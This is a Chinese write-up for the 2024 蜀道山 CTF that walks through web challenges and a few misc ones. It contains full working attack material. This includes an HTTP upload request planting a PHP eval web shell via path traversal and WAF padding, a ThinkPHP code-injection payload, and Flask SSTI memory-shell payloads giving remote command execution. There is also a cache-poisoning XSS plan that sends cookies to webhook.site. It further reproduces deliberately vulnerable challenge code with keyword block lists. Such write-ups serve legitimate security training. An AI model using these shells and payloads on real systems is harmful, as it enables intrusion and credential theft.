web
奶龙牌WAF
下载源码:
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_file'])) {
$file = $_FILES['upload_file'];
if ($file['error'] === UPLOAD_ERR_OK) {
$name = isset($_GET['name']) ? $_GET['name'] : basename($file['name']);
$fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));
if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false) {
die("不允许上传此类文件!");
}
if ($file['size'] > 2 * 1024 * 1024) {
die("文件大小超过限制!");
}
$file_content = file_get_contents($file['tmp_name'], false, null, 0, 5000);
$dangerous_patterns = [
'/<\?php/i',
'/<\?=/',
'/<\?xml/',
'/\b(eval|base64_decode|exec|shell_exec|system|passthru|proc_open|popen|php:\/\/filter|php_value|auto_append_file|auto_prepend_file|include_path|AddType)\b/i',
'/\b(select|insert|update|delete|drop|union|from|where|having|like|into|table|set|values)\b/i',
'/--\s/',
'/\/\*\s.*\*\//',
'/#/',
'/<script\b.*?>.*?<\/script>/is',
'/javascript:/i',
'/on\w+\s*=\s*["\'].*["\']/i',
'/[\<\>\'\"\\\`\;\=]/',
'/%[0-9a-fA-F]{2}/',
'/&#[0-9]{1,5};/',
'/&#x[0-9a-fA-F]+;/',
'/system\(/i',
'/exec\(/i',
'/passthru\(/i',
'/shell_exec\(/i',
'/file_get_contents\(/i',
'/fopen\(/i',
'/file_put_contents\(/i',
'/%u[0-9A-F]{4}/i',
'/[^\x00-\x7F]/',
// 检测路径穿越
'/\.\.\//',
];
foreach ($dangerous_patterns as $pattern) {
if (preg_match($pattern, $file_content)) {
die("内容包含危险字符,上传被奶龙拦截!");
}
}
$upload_dir = 'uploads/';
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
$new_file_name = $upload_dir . $name;
print($_FILES['upload_file']);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $new_file_name)) {
echo "文件上传成功!";
} else {
echo "文件保存失败!";
}
} else {
echo "文件上传失败,错误代码:" . $file['error'];
}
} else {
?>
<!-- 文件上传表单 -->
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>文件上传</title>
<style>
body {
font-family: Arial, sans-serif;
background: url('background.jpeg') no-repeat center center fixed;
background-size: cover;
display: flex;
justify-content: center;
align-items: flex-start;
height: 100vh;
margin: 0;
}
.upload-container {
background-color: rgba(214, 227, 49, 0.22);
padding: 20px;
border-radius: 10px;
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
text-align: center;
position: absolute;
top: 10%; /* 调整这个值来控制表单距离顶部的高度 */
}
.upload-container h2 {
color: #333;
margin-bottom: 20px;
}
.file-input {
display: none;
}
.custom-file-upload, .submit-btn {
display: inline-block;
padding: 10px 20px;
border-radius: 5px;
cursor: pointer;
font-size: 16px;
}
.custom-file-upload {
background-color: #ff0000;
color: white;
margin-right: 20px;
}
.custom-file-upload:hover {
background-color: #b3002a;
}
.submit-btn {
background-color: #28a745;
color: white;
border: none;
}
.submit-btn:hover {
background-color: #218838;
}
</style>
</head>
<body>
<div class="upload-container">
<h2>你能逃出奶龙的WAF吗?</h2>
<form action="" method="POST" enctype="multipart/form-data">
<label for="upload_file" class="custom-file-upload">选择文件</label>
<input type="file" name="upload_file" id="upload_file" class="file-input">
<input type="submit" value="上传文件" class="submit-btn">
</form>
</div>
<script>
document.querySelector('.custom-file-upload').addEventListener('click', function() {
document.getElementById('upload_file').click();
});
</script>
</body>
</html>
<?php
}
?>
开局一个上传文件,发现跟源鲁杯一道题目[Round 2] PHUPE很像,都是move_upload_file目录穿越覆盖文件,虽然源鲁是smarty模板注入,但是思路大差不多
想着继续源鲁的思路打,
payload:name=../index.php/.
结果一直替换不了index.php,猜测可能是权限问题。
直到翻到了从0CTF一道题看move_uploaded_file的一个细节问题-安全客 - 安全资讯平台
我们可以直接创建一个php文件,../1.php/.。
然后就是绕过内容过滤,发现可以脏字符绕过
POST /?name=../1.php/. HTTP/1.1
Host: 05b1e977.clsadp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------27416762215801574412927020367
Content-Length: 103590
Origin: http://05b1e977.clsadp.com
Connection: close
Referer: http://05b1e977.clsadp.com/
Upgrade-Insecure-Requests: 1
Priority: u=0, i
-----------------------------27416762215801574412927020367
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: text/plain
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111这里省略100000个字
<?php
show_source(__FILE__);
@eval($_POST['a']);
?>
-----------------------------27416762215801574412927020367--
海关警察训练平台
CVE-2019-20372
(CVE-2019-20372)Nginx error_page 请求走私漏洞 · Qingy文库
看到nginx/1.17.6,搜索以下发现有cve,http走私攻击,刚好适合题目描述
描述:
这是一个海关警察训练平台,你的任务是判断所给图片能否进入境内,但是全部判断正确的成功页面好像丢失了??flag在内网的http://infernityhost/flag.html
扫描目录
分析.DS_Store
al帮我修以下请求
恶意代码检测器
扫目录,扫到/.travis.yml
sudo: false
language: php
branches:
only:
- stable
cache:
directories:
- $HOME/.composer/cache
before_install:
- composer self-update
install:
- composer install --no-dev --no-interaction --ignore-platform-reqs
- zip -r --exclude='*.git*' --exclude='*.zip' --exclude='*.travis.yml' ThinkPHP_Core.zip .
- composer require --update-no-dev --no-interaction "topthink/think-image:^1.0"
- composer require --update-no-dev --no-interaction "topthink/think-migration:^1.0"
- composer require --update-no-dev --no-interaction "topthink/think-captcha:^1.0"
- composer require --update-no-dev --no-interaction "topthink/think-mongo:^1.0"
- composer require --update-no-dev --no-interaction "topthink/think-worker:^1.0"
- composer require --update-no-dev --no-interaction "topthink/think-helper:^1.0"
- composer require --update-no-dev --no-interaction "topthink/think-queue:^1.0"
- composer require --update-no-dev --no-interaction "topthink/think-angular:^1.0"
- composer require --dev --update-no-dev --no-interaction "topthink/think-testing:^1.0"
- zip -r --exclude='*.git*' --exclude='*.zip' --exclude='*.travis.yml' ThinkPHP_Full.zip .
script:
- php think unit
deploy:
provider: releases
api_key:
secure: TSF6bnl2JYN72UQOORAJYL+CqIryP2gHVKt6grfveQ7d9rleAEoxlq6PWxbvTI4jZ5nrPpUcBUpWIJHNgVcs+bzLFtyh5THaLqm39uCgBbrW7M8rI26L8sBh/6nsdtGgdeQrO/cLu31QoTzbwuz1WfAVoCdCkOSZeXyT/CclH99qV6RYyQYqaD2wpRjrhA5O4fSsEkiPVuk0GaOogFlrQHx+C+lHnf6pa1KxEoN1A0UxxVfGX6K4y5g4WQDO5zT4bLeubkWOXK0G51XSvACDOZVIyLdjApaOFTwamPcD3S1tfvuxRWWvsCD5ljFvb2kSmx5BIBNwN80MzuBmrGIC27XLGOxyMerwKxB6DskNUO9PflKHDPI61DRq0FTy1fv70SFMSiAtUv9aJRT41NQh9iJJ0vC8dl+xcxrWIjU1GG6+l/ZcRqVx9V1VuGQsLKndGhja7SQ+X1slHl76fRq223sMOql7MFCd0vvvxVQ2V39CcFKao/LB1aPH3VhODDEyxwx6aXoTznvC/QPepgWsHOWQzKj9ftsgDbsNiyFlXL4cu8DWUty6rQy8zT2b4O8b1xjcwSUCsy+auEjBamzQkMJFNlZAIUrukL/NbUhQU37TAbwsFyz7X0E/u/VMle/nBCNAzgkMwAUjiHM6FqrKKBRWFbPrSIixjfjkCnrMEPw=
file:
- ThinkPHP_Core.zip
- ThinkPHP_Full.zip
skip_cleanup: true
on:
tags: true
扫到/.gitignore
/.idea
/.vscode
/vendor
*.log
.env
最后扫到了www.zip,难崩
在控制器下看到关键代码:
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
$code = preg_replace("/[\";'%\\\\]/", '', $_POST['code']);
if(preg_match('/openlog|syslog|readlink|mail|symlink|popen|passthru|scandir|show_source|assert|fwrite|curl|php|system|eval|cookie|assert|new|session|str|source|passthru|exec|request|require|include|link|base|exec|reverse|open|popen|getallheaders|next|prev|f|conv|ch|hex|end|ord|post|get|array_reverse|\~|\`|\#|\%|\^|\&|\*|\-|\+|\[|\]|\_|\<|\>|\/|\?|\\\\/is', $code)) {
$attack_log_file = '/tmp/attack.log';
if(file_exists($attack_log_file)) {
file_put_contents($attack_log_file, '$attack_word=\''.$code.'\';'."\r\n",FILE_APPEND);
require_once('/tmp/attack.log');
} else {
file_put_contents($attack_log_file, '<'.'?'.'php'."\r\n");
}
if(isset($attack_word)){
echo '检测到危险代码: '.$attack_word.'!!!';
} else{
echo '欢迎使用gxngxngxn的恶意代码检测器!!!';
}
}else{
$safe_log_file = '/tmp/safe.log';
if(file_exists($safe_log_file)) {
file_put_contents($safe_log_file, '$safe_word="'.$code.'";'."\r\n",FILE_APPEND);
require_once('/tmp/safe.log');
} else {
file_put_contents($safe_log_file, '<'.'?'.'php'."\r\n");
}
if(isset($safe_word)){
echo '未检测到危险代码,'.$safe_word.',非常安全';
} else{
echo '欢迎使用gxngxngxn的恶意代码检测器!!!';
}
}
}
}
直接用拼接绕过。
payload:
code=${input(0)(input(1))}&0=system&1=cat /f*
my_site
下载源码:
from flask import Flask, abort, render_template_string, request, render_template, redirect, url_for, session, flash, g
from utils import rot13, key
import sqlite3
app = Flask(__name__)
app.secret_key = 'your_secret_key'
app.config['DATABASE'] = 'database.db'
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(app.config['DATABASE'])
return db
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
@app.route('/')
def home():
return render_template('home.html')
@app.route('/rot13', methods=['GET', 'POST'])
def rot13_route():
if request.method == 'POST':
action = request.form['action']
text = request.form['text']
if action == 'encrypt':
encrypted_text = rot13(text)
return redirect(url_for('rot13_result', result=encrypted_text, action='encrypt'))
elif action == 'decrypt':
text = request.form['text']
decrypted_text = rot13(text)
if key(decrypted_text):
template = '<h1>Your decrypted text is: {{%s}}</h1>' % decrypted_text
try:
render_template_string(template)
except Exception as e:
abort(404)
# return "既然你是黑阔,那我凭什么给你回显"
return redirect(url_for('rot13_result', result="既然你是黑阔,那我凭什么给你回显", action='decrypt'))
else:
return redirect(url_for('rot13_result', result=decrypted_text, action='decrypt'))
template = '<h1>Your decrypted text is: %s</h1>' % decrypted_text
return render_template_string(template)
return render_template('index.html')
@app.route('/rot13_result/<action>/<result>')
def rot13_result(action, result):
return render_template('rot13_result.html', action=action, result=result)
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
db = get_db()
cursor = db.cursor()
cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password))
user = cursor.fetchone()
if user:
session['username'] = username
return redirect(url_for('message_board'))
else:
flash('Invalid username or password')
return render_template('login.html')
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
db = get_db()
cursor = db.cursor()
try:
cursor.execute("INSERT INTO users (username, password) VALUES (?, ?)", (username, password))
db.commit()
flash('Registration successful! Please log in.')
return redirect(url_for('login'))
except sqlite3.IntegrityError:
flash('Username already exists!')
return render_template('register.html')
@app.route('/message_board', methods=['GET', 'POST'])
def message_board():
if 'username' not in session:
return redirect(url_for('login'))
db = get_db()
cursor = db.cursor()
if request.method == 'POST':
message = request.form['message']
cursor.execute("INSERT INTO messages (username, message) VALUES (?, ?)", (session['username'], message))
db.commit()
cursor.execute("SELECT username, message FROM messages")
messages = cursor.fetchall()
return render_template('message_board.html', messages=messages)
@app.route('/logout')
def logout():
session.pop('username', None)
return redirect(url_for('home'))
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)
看到了经典的render_template_string(template)导致的ssti漏洞,但是审计源码发现不给回显,所以可以通过ssti任意命令执行打flask内存马。
关键代码:
elif action == 'decrypt':
text = request.form['text']
decrypted_text = rot13(text)
if key(decrypted_text):
template = '<h1>Your decrypted text is: {{%s}}</h1>' % decrypted_text
try:
render_template_string(template)
except Exception as e:
abort(404)
# return "既然你是黑阔,那我凭什么给你回显"
return redirect(url_for('rot13_result', result="既然你是黑阔,那我凭什么给你回显", action='decrypt'))
else:
return redirect(url_for('rot13_result', result=decrypted_text, action='decrypt'))
template = '<h1>Your decrypted text is: %s</h1>' % decrypted_text
return render_template_string(template)
return render_template('index.html')
rot13
是一种简单的字母替换加密算法,它将字母表中的每个字母替换为其后13个位置的字母。由于字母表有26个字母,使用 rot13
加密的文本可以通过再次应用 rot13
解密回原文。
payload:
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}
加密后:
{{hey_sbe.__tybonyf__['__ohvygvaf__']['riny']("ncc.nsgre_erdhrfg_shapf.frgqrsnhyg(Abar, []).nccraq(ynzoqn erfc: PzqErfc vs erdhrfg.netf.trg('pzq') naq rkrp(\"tybony PzqErfc;PzqErfc=__vzcbeg__(\'synfx\').znxr_erfcbafr(__vzcbeg__(\'bf\').cbcra(erdhrfg.netf.trg(\'pzq\')).ernq())\")==Abar ryfr erfc)",{'erdhrfg':hey_sbe.__tybonyf__['erdhrfg'],'ncc':hey_sbe.__tybonyf__['flf'].zbqhyrf['__znva__'].__qvpg__['ncc']})}}
发现打不了,被禁了。
借鉴了第一的wp,
()解码,发现进入到了if条件句
#这是第一名给的脚本,
def rot13(text):
result = ""
for char in text:
if char.isalpha():
ascii_val = ord(char)
if char.islower():
rotated_val = ((ascii_val - 97) + 13) % 26 + 97
else:
rotated_val = ((ascii_val - 65) + 13) % 26 + 65
result += chr(rotated_val)
else:
result += char
return result
print(rot13(text))
text = """()}}{{url_for['__glob''als__']['__buil''tins__']['eval']
("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('cat /flag').read())")"""
# ()}}{{hey_sbe['__tybo''nyf__']['__ohvy''gvaf__']['riny']
("__vzcbeg__('flf').zbqhyrf['__znva__'].__qvpg__['ncc'].orsber_erdhrfg_shapf.frgqrsnhyg(Abar,[]).nccraq(ynzoqn :__vzcbeg__('bf').cbcra('png /synt').ernq())")
.before_request_funcs.setdefault(None,[])
:before_request_funcs
是 Flask 的一个特殊属性,表示在请求处理之前执行的函数列表。setdefault(None, [])
保证如果没有定义 None
键,它会创建一个空列表。通过修改这个列表,可以将一个新的函数添加到请求之前执行的函数队列中。
.append(lambda :__import__('os').popen('cat /flag').read())
:
-
lambda
定义了一个匿名函数,当 Flask 应用收到请求时,这个函数会被执行。 -
__import__('os')
动态导入os
模块,这是 Python 用于与操作系统交互的标准库。 -
popen('cat /flag')
使用os.popen()
执行命令行命令cat /flag
,读取/flag
文件的内容。这个命令在许多 CTF(Capture The Flag)竞赛和漏洞演练中用于获取敏感信息。 -
read()
方法用于读取命令执行后的输出,即/flag
文件的内容。
查看页面即可看到flag
XSS?
给了题目源码,但是像/src这样的关键文件夹没给,只给了相关的配置文件,那肯定就是考这里。
在nginx.conf中发现:
proxy_cache_path /var/cache/nginx levels=1:2 keys_zone=cacache:10m max_size=1g inactive=60m use_temp_path=off;
server {
listen 80;
location / {
proxy_pass http://localhost:8081;
proxy_set_header Host $host;
proxy_redirect off;
}
location /static/ {
proxy_set_header Host $host;
proxy_pass http://localhost:8081;
proxy_cache cacache;
proxy_cache_valid 200 301 1m;
proxy_cache_key "$scheme://$hostname$uri";
add_header X-Cache $upstream_cache_status;
}
}
}
这段配置的功能是:当用户访问以 /static/
开头的静态资源时,Nginx 会将请求代理到本地的 8081
端口,并启用缓存机制。缓存的有效期为 1 分钟,并且缓存的键是由请求的协议、主机名和路径组成的。此外,还会在响应头中添加 X-Cache
字段,指示缓存的状态。
分析:
我们注意到 $scheme://$hostname$uri, $uri , 他并不会包含 # 后面的内容, 所以我们可以通过 # 来污染缓存 在后端解析的时候, 他会拿出 # 后面的内容, 此时 # 被当做文件目录名的一部分 我们可以通过上传一个文件, 然后通过 GET /static/main.js#aaa/../../images/.js 来获取上传的文件
首先上传恶意js文件来准备打xss,
发送cooike到https://webhook.site
然后就是通过缓存机制来触发恶意js文件,下面是接下来的步骤
GET /images HTTP/1.1
Host: _
GET /static/main.js#aaa/../../images/.js HTTP/1.1
Host: _
POST /report/ HTTP/1.1
Host: _
因为是0解题,所以发了wp,但是我一直没有复现成功,我还没看到有人复现成功了,环境太难打了。
ezruoyi(X)
题目描述:
简单的若依系统 by:Zer0n3
不会捏
misc
神奇的硬币纺纱机
题目描述:
神奇的硬币纺纱机会把白色和蛋黄融为一体,点击下方的链接和简历,获取一个获取一个
首先,根据规则,我们全输入1,发现在后面70几会直接结束游戏,仔细查看规则,只要我们一直输0不会掉币,游戏在50回合,币会加倍,所以我们到100币后,狂按0保证不掉币即可
Elemental Wars
题目描述:
异世界转生之我要在元素至上的五行世界获得FLAG
狂按2或者1.2.3来回让对面掉血,手速得flag
欢迎来到2024蜀道山CTF
关注公众号ZeroPointZero发送:劳资蜀道山2024 获取你的flag吧!!